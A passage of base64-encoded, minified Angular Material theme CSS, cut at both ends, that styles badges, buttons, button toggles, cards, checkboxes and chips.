tb3ZlcmxhcC5tYXQtYmFkZ2UtYmVmb3JlIC5tYXQtYmFkZ2UtY29udGVudHtsZWZ0OmF1dG87cmlnaHQ6LTExcHh9Lm1hdC1iYWRnZS1tZWRpdW0ubWF0LWJhZGdlLW92ZXJsYXAubWF0LWJhZGdlLWFmdGVyIC5tYXQtYmFkZ2UtY29udGVudHtyaWdodDotMTFweH1bZGlyPXJ0bF0gLm1hdC1iYWRnZS1tZWRpdW0ubWF0LWJhZGdlLW92ZXJsYXAubWF0LWJhZGdlLWFmdGVyIC5tYXQtYmFkZ2UtY29udGVudHtyaWdodDphdXRvO2xlZnQ6LTExcHh9Lm1hdC1iYWRnZS1sYXJnZSAubWF0LWJhZGdlLWNvbnRlbnR7d2lkdGg6MjhweDtoZWlnaHQ6MjhweDtsaW5lLWhlaWdodDoyOHB4fS5tYXQtYmFkZ2UtbGFyZ2UubWF0LWJhZGdlLWFib3ZlIC5tYXQtYmFkZ2UtY29udGVudHt0b3A6LTE0cHh9Lm1hdC1iYWRnZS1sYXJnZS5tYXQtYmFkZ2UtYmVsb3cgLm1hdC1iYWRnZS1jb250ZW50e2JvdHRvbTotMTRweH0ubWF0LWJhZGdlLWxhcmdlLm1hdC1iYWRnZS1iZWZvcmUgLm1hdC1iYWRnZS1jb250ZW50e2xlZnQ6LTI4cHh9W2Rpcj1ydGxdIC5tYXQtYmFkZ2UtbGFyZ2UubWF0LWJhZGdlLWJlZm9yZSAubWF0LWJhZGdlLWNvbnRlbnR7bGVmdDphdXRvO3JpZ2h0Oi0yOHB4fS5tYXQtYmFkZ2UtbGFyZ2UubWF0LWJhZGdlLWFmdGVyIC5tYXQtYmFkZ2UtY29udGVudHtyaWdodDotMjhweH1bZGlyPXJ0bF0gLm1hdC1iYWRnZS1sYXJnZS5tYXQtYmFkZ2UtYWZ0ZXIgLm1hdC1iYWRnZS1jb250ZW50e3JpZ2h0OmF1dG87bGVmdDotMjhweH0ubWF0LWJhZGdlLWxhcmdlLm1hdC1iYWRnZS1vdmVybGFwLm1hdC1iYWRnZS1iZWZvcmUgLm1hdC1iYWRnZS1jb250ZW50e2xlZnQ6LTE0cHh9W2Rpcj1ydGxdIC5tYXQtYmFkZ2UtbGFyZ2UubWF0LWJhZGdlLW92ZXJsYXAubWF0LWJhZGdlLWJlZm9yZSAubWF0LWJhZGdlLWNvbnRlbnR7bGVmdDphdXRvO3JpZ2h0Oi0xNHB4fS5tYXQtYmFkZ2UtbGFyZ2UubWF0LWJhZGdlLW92ZXJsYXAubWF0LWJhZGdlLWFmdGVyIC5tYXQtYmFkZ2UtY29udGVudHtyaWdodDotMTRweH1bZGlyPXJ0bF0gLm1hdC1iYWRnZS1sYXJnZS5tYXQtYmFkZ2Utb3ZlcmxhcC5tYXQtYmFkZ2UtYWZ0ZXIgLm1hdC1iYWRnZS1jb250ZW50e3JpZ2h0OmF1dG87bGVmdDotMTRweH0ubWF0LWJvdHRvbS1zaGVldC1jb250YWluZXJ7Ym94LXNoYWRvdzowIDhweCAxMHB4IC01cHggcmdiYSgwLDAsMCwuMiksMCAxNnB4IDI0cHggMnB4IHJnYmEoMCwwLDAsLjE0KSwwIDZweCAzMHB4IDVweCByZ2JhKDAsMCwwLC4xMik7YmFja2dyb3VuZDojZmZmO2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWJ1dHRvbiwubWF0LWljb24tYnV0dG9uLC5tYXQtc3Ryb2tlZC1idXR0b257Y29sb3I6aW5oZXJpdDtiYWNrZ3JvdW5kOjAgMH0ubWF0LWJ1dHRvbi5tYXQtcHJpbWFyeSwubWF0LWljb24tYnV0dG9uLm1hdC1wcmltYXJ5LC5tYXQtc3Ryb2tlZC1idXR0b24ubWF0LXByaW1hcnl7Y29sb3I6IzNmNTFiNX0ubWF0LWJ1dHRvbi5tYXQtYWNjZW50LC5tYXQtaWNvbi1idXR0b24ubWF0LWFjY2VudCwubWF0LXN0cm9rZWQtYnV0dG9uLm1hdC1hY2NlbnR7Y29sb3I6I2ZmNDA4MX0ubWF0LWJ1dHRvbi5tYXQtd2FybiwubWF0LWljb24tYnV0dG9uLm1hdC13YXJuLC5tYXQtc3Ryb2tlZC1idXR0b24ubWF0LXdhcm57Y29sb3I6I2Y0NDMzNn0ubWF0LWJ1dHRvbi5tYXQtYWNjZW50W2Rpc2FibGVkXSwubWF0LWJ1dHRvbi5tYXQtcHJpbWFyeVtkaXNhYmxlZF0sLm1hdC1idXR0b24ubWF0LXdhcm5bZGlzYWJsZWRdLC5tYXQtYnV0dG9uW2Rpc2FibGVkXVtkaXNhYmxlZF0sLm1hdC1pY29uLWJ1dHRvbi5tYXQtYWNjZW50W2Rpc2FibGVkXSwubWF0LWljb24tYnV0dG9uLm1hdC1wcmltYXJ5W2Rpc2FibGVkXSwubWF0LWljb24tYnV0dG9uLm1hdC13YXJuW2Rpc2FibGVkXSwubWF0LWljb24tYnV0dG9uW2Rpc2FibGVkXVtkaXNhYmxlZF0sLm1hdC1zdHJva2VkLWJ1dHRvbi5tYXQtYWNjZW50W2Rpc2FibGVkXSwubWF0LXN0cm9rZWQtYnV0dG9uLm1hdC1wcmltYXJ5W2Rpc2FibGVkXSwubWF0LXN0cm9rZWQtYnV0dG9uLm1hdC13YXJuW2Rpc2FibGVkXSwubWF0LXN0cm9rZWQtYnV0dG9uW2Rpc2FibGVkXVtkaXNhYmxlZF17Y29sb3I6cmdiYSgwLDAsMCwuMjYpfS5tYXQtYnV0dG9uLm1hdC1wcmltYXJ5IC5tYXQtYnV0dG9uLWZvY3VzLW92ZXJsYXksLm1hdC1pY29uLWJ1dHRvbi5tYXQtcHJpbWFyeSAubWF0LWJ1dHRvbi1mb2N1cy1vdmVybGF5LC5tYXQtc3Ryb2tlZC1idXR0b24ubWF0LXByaW1hcnkgLm1hdC1idXR0b24tZm9jdXMtb3ZlcmxheXtiYWNrZ3JvdW5kLWNvbG9yOiMzZjUxYjV9Lm1hdC1idXR0b24ubWF0LWFjY2VudCAubWF0LWJ1dHRvbi1mb2N1cy1vdmVybGF5LC5tYXQtaWNvbi1idXR0b24ubWF0LWFjY2VudCAubWF0LWJ1dHRvbi1mb2N1cy1vdmVybGF5LC5tYXQtc3Ryb2tlZC1idXR0b24ubWF0LWFjY2VudCAubWF0LWJ1dHRvbi1mb2N1cy1vdmVybGF5e2JhY2tncm91bmQtY29sb3I6I2ZmNDA4MX0ubWF0LWJ1dHRvbi5tYXQtd2FybiAubWF0LWJ1dHRvbi1mb2N1cy1vdmVybGF5LC5tYXQtaWNvbi1idXR0b24ubWF0LXdhcm4gLm1hdC1idXR0b24tZm9jdXMtb3ZlcmxheSwubWF0LXN0cm9rZWQtYnV0dG9uLm1hdC13YXJuIC5tYXQtYnV0dG9uLWZvY3VzLW92ZXJsYXl7YmFja2dyb3VuZC1jb2xvcjojZjQ0MzM2fS5tYXQtYnV0dG9uW2Rpc2FibGVkXSAubWF0LWJ1dHRvbi1mb2N1cy1vdmVybGF5LC5tYXQtaWNvbi1idXR0b25bZGlzYWJsZWRdIC5tYXQtYnV0dG9uLWZvY3VzLW92ZXJsYXksLm1hdC1zdHJva2VkLWJ1dHRvbltkaXNhYmxlZF0gLm1hdC1idXR0b24tZm9jdXMtb3ZlcmxheXtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50fS5tYXQtYnV0dG9uIC5tYXQtcmlwcGxlLWVsZW1lbnQsLm1hdC1pY29uLWJ1dHRvbiAubWF0LXJpcHBsZS1lbGVtZW50LC5tYXQtc3Ryb2tlZC1idXR0b24gLm1hdC1yaXBwbGUtZWxlbWVudHtvcGFjaXR5Oi4xO2JhY2tncm91bmQtY29sb3I6Y3VycmVudENvbG9yfS5tYXQtYnV0dG9uLWZvY3VzLW92ZXJsYXl7YmFja2dyb3VuZDojMDAwfS5tYXQtc3Ryb2tlZC1idXR0b246bm90KFtkaXNhYmxlZF0pe2JvcmRlci1jb2xvcjpyZ2JhKDAsMCwwLC4xMil9Lm1hdC1mYWIsLm1hdC1mbGF0LWJ1dHRvbiwubWF0LW1pbmktZmFiLC5tYXQtcmFpc2VkLWJ1dHRvbntjb2xvcjpyZ2JhKDAsMCwwLC44Nyk7YmFja2dyb3VuZC1jb2xvcjojZmZmfS5tYXQtZmFiLm1hdC1wcmltYXJ5LC5tYXQtZmxhdC1idXR0b24ubWF0LXByaW1hcnksLm1hdC1taW5pLWZhYi5tYXQtcHJpbWFyeSwubWF0LXJhaXNlZC1idXR0b24ubWF0LXByaW1hcnl7Y29sb3I6I2ZmZn0ubWF0LWZhYi5tYXQtYWNjZW50LC5tYXQtZmxhdC1idXR0b24ubWF0LWFjY2VudCwubWF0LW1pbmktZmFiLm1hdC1hY2NlbnQsLm1hdC1yYWlzZWQtYnV0dG9uLm1hdC1hY2NlbnR7Y29sb3I6I2ZmZn0ubWF0LWZhYi5tYXQtd2FybiwubWF0LWZsYXQtYnV0dG9uLm1hdC13YXJuLC5tYXQtbWluaS1mYWIubWF0LXdhcm4sLm1hdC1yYWlzZWQtYnV0dG9uLm1hdC13YXJue2NvbG9yOiNmZmZ9Lm1hdC1mYWIubWF0LWFjY2VudFtkaXNhYmxlZF0sLm1hdC1mYWIubWF0LXByaW1hcnlbZGlzYWJsZWRdLC5tYXQtZmFiLm1hdC13YXJuW2Rpc2FibGVkXSwubWF0LWZhYltkaXNhYmxlZF1bZGlzYWJsZWRdLC5tYXQtZmxhdC1idXR0b24ubWF0LWFjY2VudFtkaXNhYmxlZF0sLm1hdC1mbGF0LWJ1dHRvbi5tYXQtcHJpbWFyeVtkaXNhYmxlZF0sLm1hdC1mbGF0LWJ1dHRvbi5tYXQtd2FybltkaXNhYmxlZF0sLm1hdC1mbGF0LWJ1dHRvbltkaXNhYmxlZF1bZGlzYWJsZWRdLC5tYXQtbWluaS1mYWIubWF0LWFjY2VudFtkaXNhYmxlZF0sLm1hdC1taW5pLWZhYi5tYXQtcHJpbWFyeVtkaXNhYmxlZF0sLm1hdC1taW5pLWZhYi5tYXQtd2FybltkaXNhYmxlZF0sLm1hdC1taW5pLWZhYltkaXNhYmxlZF1bZGlzYWJsZWRdLC5tYXQtcmFpc2VkLWJ1dHRvbi5tYXQtYWNjZW50W2Rpc2FibGVkXSwubWF0LXJhaXNlZC1idXR0b24ubWF0LXByaW1hcnlbZGlzYWJsZWRdLC5tYXQtcmFpc2VkLWJ1dHRvbi5tYXQtd2FybltkaXNhYmxlZF0sLm1hdC1yYWlzZWQtYnV0dG9uW2Rpc2FibGVkXVtkaXNhYmxlZF17Y29sb3I6cmdiYSgwLDAsMCwuMjYpfS5tYXQtZmFiLm1hdC1wcmltYXJ5LC5tYXQtZmxhdC1idXR0b24ubWF0LXByaW1hcnksLm1hdC1taW5pLWZhYi5tYXQtcHJpbWFyeSwubWF0LXJhaXNlZC1idXR0b24ubWF0LXByaW1hcnl7YmFja2dyb3VuZC1jb2xvcjojM2Y1MWI1fS5tYXQtZmFiLm1hdC1hY2NlbnQsLm1hdC1mbGF0LWJ1dHRvbi5tYXQtYWNjZW50LC5tYXQtbWluaS1mYWIubWF0LWFjY2VudCwubWF0LXJhaXNlZC1idXR0b24ubWF0LWFjY2VudHtiYWNrZ3JvdW5kLWNvbG9yOiNmZjQwODF9Lm1hdC1mYWIubWF0LXdhcm4sLm1hdC1mbGF0LWJ1dHRvbi5tYXQtd2FybiwubWF0LW1pbmktZmFiLm1hdC13YXJuLC5tYXQtcmFpc2VkLWJ1dHRvbi5tYXQtd2FybntiYWNrZ3JvdW5kLWNvbG9yOiNmNDQzMzZ9Lm1hdC1mYWIubWF0LWFjY2VudFtkaXNhYmxlZF0sLm1hdC1mYWIubWF0LXByaW1hcnlbZGlzYWJsZWRdLC5tYXQtZmFiLm1hdC13YXJuW2Rpc2FibGVkXSwubWF0LWZhYltkaXNhYmxlZF1bZGlzYWJsZWRdLC5tYXQtZmxhdC1idXR0b24ubWF0LWFjY2VudFtkaXNhYmxlZF0sLm1hdC1mbGF0LWJ1dHRvbi5tYXQtcHJpbWFyeVtkaXNhYmxlZF0sLm1hdC1mbGF0LWJ1dHRvbi5tYXQtd2FybltkaXNhYmxlZF0sLm1hdC1mbGF0LWJ1dHRvbltkaXNhYmxlZF1bZGlzYWJsZWRdLC5tYXQtbWluaS1mYWIubWF0LWFjY2VudFtkaXNhYmxlZF0sLm1hdC1taW5pLWZhYi5tYXQtcHJpbWFyeVtkaXNhYmxlZF0sLm1hdC1taW5pLWZhYi5tYXQtd2FybltkaXNhYmxlZF0sLm1hdC1taW5pLWZhYltkaXNhYmxlZF1bZGlzYWJsZWRdLC5tYXQtcmFpc2VkLWJ1dHRvbi5tYXQtYWNjZW50W2Rpc2FibGVkXSwubWF0LXJhaXNlZC1idXR0b24ubWF0LXByaW1hcnlbZGlzYWJsZWRdLC5tYXQtcmFpc2VkLWJ1dHRvbi5tYXQtd2FybltkaXNhYmxlZF0sLm1hdC1yYWlzZWQtYnV0dG9uW2Rpc2FibGVkXVtkaXNhYmxlZF17YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLC4xMil9Lm1hdC1mYWIubWF0LXByaW1hcnkgLm1hdC1yaXBwbGUtZWxlbWVudCwubWF0LWZsYXQtYnV0dG9uLm1hdC1wcmltYXJ5IC5tYXQtcmlwcGxlLWVsZW1lbnQsLm1hdC1taW5pLWZhYi5tYXQtcHJpbWFyeSAubWF0LXJpcHBsZS1lbGVtZW50LC5tYXQtcmFpc2VkLWJ1dHRvbi5tYXQtcHJpbWFyeSAubWF0LXJpcHBsZS1lbGVtZW50e2JhY2tncm91bmQtY29sb3I6cmdiYSgyNTUsMjU1LDI1NSwuMSl9Lm1hdC1mYWIubWF0LWFjY2VudCAubWF0LXJpcHBsZS1lbGVtZW50LC5tYXQtZmxhdC1idXR0b24ubWF0LWFjY2VudCAubWF0LXJpcHBsZS1lbGVtZW50LC5tYXQtbWluaS1mYWIubWF0LWFjY2VudCAubWF0LXJpcHBsZS1lbGVtZW50LC5tYXQtcmFpc2VkLWJ1dHRvbi5tYXQtYWNjZW50IC5tYXQtcmlwcGxlLWVsZW1lbnR7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDI1NSwyNTUsMjU1LC4xKX0ubWF0LWZhYi5tYXQtd2FybiAubWF0LXJpcHBsZS1lbGVtZW50LC5tYXQtZmxhdC1idXR0b24ubWF0LXdhcm4gLm1hdC1yaXBwbGUtZWxlbWVudCwubWF0LW1pbmktZmFiLm1hdC13YXJuIC5tYXQtcmlwcGxlLWVsZW1lbnQsLm1hdC1yYWlzZWQtYnV0dG9uLm1hdC13YXJuIC5tYXQtcmlwcGxlLWVsZW1lbnR7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDI1NSwyNTUsMjU1LC4xKX0ubWF0LWZsYXQtYnV0dG9uOm5vdChbY2xhc3MqPW1hdC1lbGV2YXRpb24tel0pLC5tYXQtc3Ryb2tlZC1idXR0b246bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSl7Ym94LXNoYWRvdzowIDAgMCAwIHJnYmEoMCwwLDAsLjIpLDAgMCAwIDAgcmdiYSgwLDAsMCwuMTQpLDAgMCAwIDAgcmdiYSgwLDAsMCwuMTIpfS5tYXQtcmFpc2VkLWJ1dHRvbjpub3QoW2NsYXNzKj1tYXQtZWxldmF0aW9uLXpdKXtib3gtc2hhZG93OjAgM3B4IDFweCAtMnB4IHJnYmEoMCwwLDAsLjIpLDAgMnB4IDJweCAwIHJnYmEoMCwwLDAsLjE0KSwwIDFweCA1cHggMCByZ2JhKDAsMCwwLC4xMil9Lm1hdC1yYWlzZWQtYnV0dG9uOm5vdChbZGlzYWJsZWRdKTphY3RpdmU6bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSl7Ym94LXNoYWRvdzowIDVweCA1cHggLTNweCByZ2JhKDAsMCwwLC4yKSwwIDhweCAxMHB4IDFweCByZ2JhKDAsMCwwLC4xNCksMCAzcHggMTRweCAycHggcmdiYSgwLDAsMCwuMTIpfS5tYXQtcmFpc2VkLWJ1dHRvbltkaXNhYmxlZF06bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSl7Ym94LXNoYWRvdzowIDAgMCAwIHJnYmEoMCwwLDAsLjIpLDAgMCAwIDAgcmdiYSgwLDAsMCwuMTQpLDAgMCAwIDAgcmdiYSgwLDAsMCwuMTIpfS5tYXQtZmFiOm5vdChbY2xhc3MqPW1hdC1lbGV2YXRpb24tel0pLC5tYXQtbWluaS1mYWI6bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSl7Ym94LXNoYWRvdzowIDNweCA1cHggLTFweCByZ2JhKDAsMCwwLC4yKSwwIDZweCAxMHB4IDAgcmdiYSgwLDAsMCwuMTQpLDAgMXB4IDE4cHggMCByZ2JhKDAsMCwwLC4xMil9Lm1hdC1mYWI6bm90KFtkaXNhYmxlZF0pOmFjdGl2ZTpub3QoW2NsYXNzKj1tYXQtZWxldmF0aW9uLXpdKSwubWF0LW1pbmktZmFiOm5vdChbZGlzYWJsZWRdKTphY3RpdmU6bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSl7Ym94LXNoYWRvdzowIDdweCA4cHggLTRweCByZ2JhKDAsMCwwLC4yKSwwIDEycHggMTdweCAycHggcmdiYSgwLDAsMCwuMTQpLDAgNXB4IDIycHggNHB4IHJnYmEoMCwwLDAsLjEyKX0ubWF0LWZhYltkaXNhYmxlZF06bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSksLm1hdC1taW5pLWZhYltkaXNhYmxlZF06bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSl7Ym94LXNoYWRvdzowIDAgMCAwIHJnYmEoMCwwLDAsLjIpLDAgMCAwIDAgcmdiYSgwLDAsMCwuMTQpLDAgMCAwIDAgcmdiYSgwLDAsMCwuMTIpfS5tYXQtYnV0dG9uLXRvZ2dsZS1ncm91cCwubWF0LWJ1dHRvbi10b2dnbGUtc3RhbmRhbG9uZXtib3gtc2hhZG93OjAgM3B4IDFweCAtMnB4IHJnYmEoMCwwLDAsLjIpLDAgMnB4IDJweCAwIHJnYmEoMCwwLDAsLjE0KSwwIDFweCA1cHggMCByZ2JhKDAsMCwwLC4xMil9Lm1hdC1idXR0b24tdG9nZ2xlLWdyb3VwLWFwcGVhcmFuY2Utc3RhbmRhcmQsLm1hdC1idXR0b24tdG9nZ2xlLXN0YW5kYWxvbmUubWF0LWJ1dHRvbi10b2dnbGUtYXBwZWFyYW5jZS1zdGFuZGFyZHtib3gtc2hhZG93Om5vbmV9Lm1hdC1idXR0b24tdG9nZ2xle2NvbG9yOnJnYmEoMCwwLDAsLjM4KX0ubWF0LWJ1dHRvbi10b2dnbGUgLm1hdC1idXR0b24tdG9nZ2xlLWZvY3VzLW92ZXJsYXl7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLC4xMil9Lm1hdC1idXR0b24tdG9nZ2xlLWFwcGVhcmFuY2Utc3RhbmRhcmR7Y29sb3I6cmdiYSgwLDAsMCwuODcpO2JhY2tncm91bmQ6I2ZmZn0ubWF0LWJ1dHRvbi10b2dnbGUtYXBwZWFyYW5jZS1zdGFuZGFyZCAubWF0LWJ1dHRvbi10b2dnbGUtZm9jdXMtb3ZlcmxheXtiYWNrZ3JvdW5kLWNvbG9yOiMwMDB9Lm1hdC1idXR0b24tdG9nZ2xlLWdyb3VwLWFwcGVhcmFuY2Utc3RhbmRhcmQgLm1hdC1idXR0b24tdG9nZ2xlKy5tYXQtYnV0dG9uLXRvZ2dsZXtib3JkZXItbGVmdDpzb2xpZCAxcHggcmdiYSgwLDAsMCwuMTIpfVtkaXI9cnRsXSAubWF0LWJ1dHRvbi10b2dnbGUtZ3JvdXAtYXBwZWFyYW5jZS1zdGFuZGFyZCAubWF0LWJ1dHRvbi10b2dnbGUrLm1hdC1idXR0b24tdG9nZ2xle2JvcmRlci1sZWZ0Om5vbmU7Ym9yZGVyLXJpZ2h0OnNvbGlkIDFweCByZ2JhKDAsMCwwLC4xMil9Lm1hdC1idXR0b24tdG9nZ2xlLWdyb3VwLWFwcGVhcmFuY2Utc3RhbmRhcmQubWF0LWJ1dHRvbi10b2dnbGUtdmVydGljYWwgLm1hdC1idXR0b24tdG9nZ2xlKy5tYXQtYnV0dG9uLXRvZ2dsZXtib3JkZXItbGVmdDpub25lO2JvcmRlci1yaWdodDpub25lO2JvcmRlci10b3A6c29saWQgMXB4IHJnYmEoMCwwLDAsLjEyKX0ubWF0LWJ1dHRvbi10b2dnbGUtY2hlY2tlZHtiYWNrZ3JvdW5kLWNvbG9yOiNlMGUwZTA7Y29sb3I6cmdiYSgwLDAsMCwuNTQpfS5tYXQtYnV0dG9uLXRvZ2dsZS1jaGVja2VkLm1hdC1idXR0b24tdG9nZ2xlLWFwcGVhcmFuY2Utc3RhbmRhcmR7Y29sb3I6cmdiYSgwLDAsMCwuODcpfS5tYXQtYnV0dG9uLXRvZ2dsZS1kaXNhYmxlZHtjb2xvcjpyZ2JhKDAsMCwwLC4yNik7YmFja2dyb3VuZC1jb2xvcjojZWVlfS5tYXQtYnV0dG9uLXRvZ2dsZS1kaXNhYmxlZC5tYXQtYnV0dG9uLXRvZ2dsZS1hcHBlYXJhbmNlLXN0YW5kYXJke2JhY2tncm91bmQ6I2ZmZn0ubWF0LWJ1dHRvbi10b2dnbGUtZGlzYWJsZWQubWF0LWJ1dHRvbi10b2dnbGUtY2hlY2tlZHtiYWNrZ3JvdW5kLWNvbG9yOiNiZGJkYmR9Lm1hdC1idXR0b24tdG9nZ2xlLWdyb3VwLWFwcGVhcmFuY2Utc3RhbmRhcmQsLm1hdC1idXR0b24tdG9nZ2xlLXN0YW5kYWxvbmUubWF0LWJ1dHRvbi10b2dnbGUtYXBwZWFyYW5jZS1zdGFuZGFyZHtib3JkZXI6c29saWQgMXB4IHJnYmEoMCwwLDAsLjEyKX0ubWF0LWNhcmR7YmFja2dyb3VuZDojZmZmO2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWNhcmQ6bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSl7Ym94LXNoYWRvdzowIDJweCAxcHggLTFweCByZ2JhKDAsMCwwLC4yKSwwIDFweCAxcHggMCByZ2JhKDAsMCwwLC4xNCksMCAxcHggM3B4IDAgcmdiYSgwLDAsMCwuMTIpfS5tYXQtY2FyZC5tYXQtY2FyZC1mbGF0Om5vdChbY2xhc3MqPW1hdC1lbGV2YXRpb24tel0pe2JveC1zaGFkb3c6MCAwIDAgMCByZ2JhKDAsMCwwLC4yKSwwIDAgMCAwIHJnYmEoMCwwLDAsLjE0KSwwIDAgMCAwIHJnYmEoMCwwLDAsLjEyKX0ubWF0LWNhcmQtc3VidGl0bGV7Y29sb3I6cmdiYSgwLDAsMCwuNTQpfS5tYXQtY2hlY2tib3gtZnJhbWV7Ym9yZGVyLWNvbG9yOnJnYmEoMCwwLDAsLjU0KX0ubWF0LWNoZWNrYm94LWNoZWNrbWFya3tmaWxsOiNmYWZhZmF9Lm1hdC1jaGVja2JveC1jaGVja21hcmstcGF0aHtzdHJva2U6I2ZhZmFmYSFpbXBvcnRhbnR9QG1lZGlhICgtbXMtaGlnaC1jb250cmFzdDpibGFjay1vbi13aGl0ZSl7Lm1hdC1jaGVja2JveC1jaGVja21hcmstcGF0aHtzdHJva2U6IzAwMCFpbXBvcnRhbnR9fS5tYXQtY2hlY2tib3gtbWl4ZWRtYXJre2JhY2tncm91bmQtY29sb3I6I2ZhZmFmYX0ubWF0LWNoZWNrYm94LWNoZWNrZWQubWF0LXByaW1hcnkgLm1hdC1jaGVja2JveC1iYWNrZ3JvdW5kLC5tYXQtY2hlY2tib3gtaW5kZXRlcm1pbmF0ZS5tYXQtcHJpbWFyeSAubWF0LWNoZWNrYm94LWJhY2tncm91bmR7YmFja2dyb3VuZC1jb2xvcjojM2Y1MWI1fS5tYXQtY2hlY2tib3gtY2hlY2tlZC5tYXQtYWNjZW50IC5tYXQtY2hlY2tib3gtYmFja2dyb3VuZCwubWF0LWNoZWNrYm94LWluZGV0ZXJtaW5hdGUubWF0LWFjY2VudCAubWF0LWNoZWNrYm94LWJhY2tncm91bmR7YmFja2dyb3VuZC1jb2xvcjojZmY0MDgxfS5tYXQtY2hlY2tib3gtY2hlY2tlZC5tYXQtd2FybiAubWF0LWNoZWNrYm94LWJhY2tncm91bmQsLm1hdC1jaGVja2JveC1pbmRldGVybWluYXRlLm1hdC13YXJuIC5tYXQtY2hlY2tib3gtYmFja2dyb3VuZHtiYWNrZ3JvdW5kLWNvbG9yOiNmNDQzMzZ9Lm1hdC1jaGVja2JveC1kaXNhYmxlZC5tYXQtY2hlY2tib3gtY2hlY2tlZCAubWF0LWNoZWNrYm94LWJhY2tncm91bmQsLm1hdC1jaGVja2JveC1kaXNhYmxlZC5tYXQtY2hlY2tib3gtaW5kZXRlcm1pbmF0ZSAubWF0LWNoZWNrYm94LWJhY2tncm91bmR7YmFja2dyb3VuZC1jb2xvcjojYjBiMGIwfS5tYXQtY2hlY2tib3gtZGlzYWJsZWQ6bm90KC5tYXQtY2hlY2tib3gtY2hlY2tlZCkgLm1hdC1jaGVja2JveC1mcmFtZXtib3JkZXItY29sb3I6I2IwYjBiMH0ubWF0LWNoZWNrYm94LWRpc2FibGVkIC5tYXQtY2hlY2tib3gtbGFiZWx7Y29sb3I6cmdiYSgwLDAsMCwuNTQpfUBtZWRpYSAoLW1zLWhpZ2gtY29udHJhc3Q6YWN0aXZlKXsubWF0LWNoZWNrYm94LWRpc2FibGVke29wYWNpdHk6LjV9fUBtZWRpYSAoLW1zLWhpZ2gtY29udHJhc3Q6YWN0aXZlKXsubWF0LWNoZWNrYm94LWJhY2tncm91bmR7YmFja2dyb3VuZDowIDB9fS5tYXQtY2hlY2tib3ggLm1hdC1yaXBwbGUtZWxlbWVudHtiYWNrZ3JvdW5kLWNvbG9yOiMwMDB9Lm1hdC1jaGVja2JveC1jaGVja2VkOm5vdCgubWF0LWNoZWNrYm94LWRpc2FibGVkKS5tYXQtcHJpbWFyeSAubWF0LXJpcHBsZS1lbGVtZW50LC5tYXQtY2hlY2tib3g6YWN0aXZlOm5vdCgubWF0LWNoZWNrYm94LWRpc2FibGVkKS5tYXQtcHJpbWFyeSAubWF0LXJpcHBsZS1lbGVtZW50e2JhY2tncm91bmQ6IzNmNTFiNX0ubWF0LWNoZWNrYm94LWNoZWNrZWQ6bm90KC5tYXQtY2hlY2tib3gtZGlzYWJsZWQpLm1hdC1hY2NlbnQgLm1hdC1yaXBwbGUtZWxlbWVudCwubWF0LWNoZWNrYm94OmFjdGl2ZTpub3QoLm1hdC1jaGVja2JveC1kaXNhYmxlZCkubWF0LWFjY2VudCAubWF0LXJpcHBsZS1lbGVtZW50e2JhY2tncm91bmQ6I2ZmNDA4MX0ubWF0LWNoZWNrYm94LWNoZWNrZWQ6bm90KC5tYXQtY2hlY2tib3gtZGlzYWJsZWQpLm1hdC13YXJuIC5tYXQtcmlwcGxlLWVsZW1lbnQsLm1hdC1jaGVja2JveDphY3RpdmU6bm90KC5tYXQtY2hlY2tib3gtZGlzYWJsZWQpLm1hdC13YXJuIC5tYXQtcmlwcGxlLWVsZW1lbnR7YmFja2dyb3VuZDojZjQ0MzM2fS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcHtiYWNrZ3JvdW5kLWNvbG9yOiNlMGUwZTA7Y29sb3I6cmdiYSgwLDAsMCwuODcpfS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcCAubWF0LWNoaXAtcmVtb3Zle2NvbG9yOnJnYmEoMCwwLDAsLjg3KTtvcGFjaXR5Oi40fS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcDpub3QoLm1hdC1jaGlwLWRpc2FibGVkKTphY3RpdmV7Ym94LXNoYWRvdzowIDNweCAzcHggLTJweCByZ2JhKDAsMCwwLC4yKSwwIDNweCA0cHggMCByZ2JhKDAsMCwwLC4xNCksMCAxcHggOHB4IDAgcmdiYSgwLDAsMCwuMTIpfS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcDpub3QoLm1hdC1jaGlwLWRpc2FibGVkKSAubWF0LWNoaXAtcmVtb3ZlOmhvdmVye29wYWNpdHk6LjU0fS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcC5tYXQtY2hpcC1kaXNhYmxlZHtvcGFjaXR5Oi40fS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcDo6YWZ0ZXJ7YmFja2dyb3VuZDojMDAwfS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcC5tYXQtY2hpcC1zZWxlY3RlZC5tYXQtcHJpbWFyeXtiYWNrZ3JvdW5kLWNvbG9yOiMzZjUxYjU7Y29sb3I6I2ZmZn0ubWF0LWNoaXAubWF0LXN0YW5kYXJkLWNoaXAubWF0LWNoaXAtc2VsZWN0ZWQubWF0LXByaW1hcnkgLm1hdC1jaGlwLXJlbW92ZXtjb2xvcjojZmZmO29wYWNpdHk6LjR9Lm1hdC1jaGlwLm1hdC1zdGFuZGFyZC1jaGlwLm1hdC1jaGlwLXNlbGVjdGVkLm1hdC1wcmltYXJ5IC5tYXQtcmlwcGxlLWVsZW1lbnR7YmFja2dyb3VuZDpyZ2JhKDI1NSwyNTUsMjU1LC4xKX0ubWF0LWNoaXAubWF0LXN0YW5kYXJkLWNoaXAubWF0LWNoaXAtc2VsZWN0ZWQubWF0LXdhcm57YmFja2dyb3VuZC1jb2xvcjojZjQ0MzM2O2NvbG9yOiNmZmZ9Lm1hdC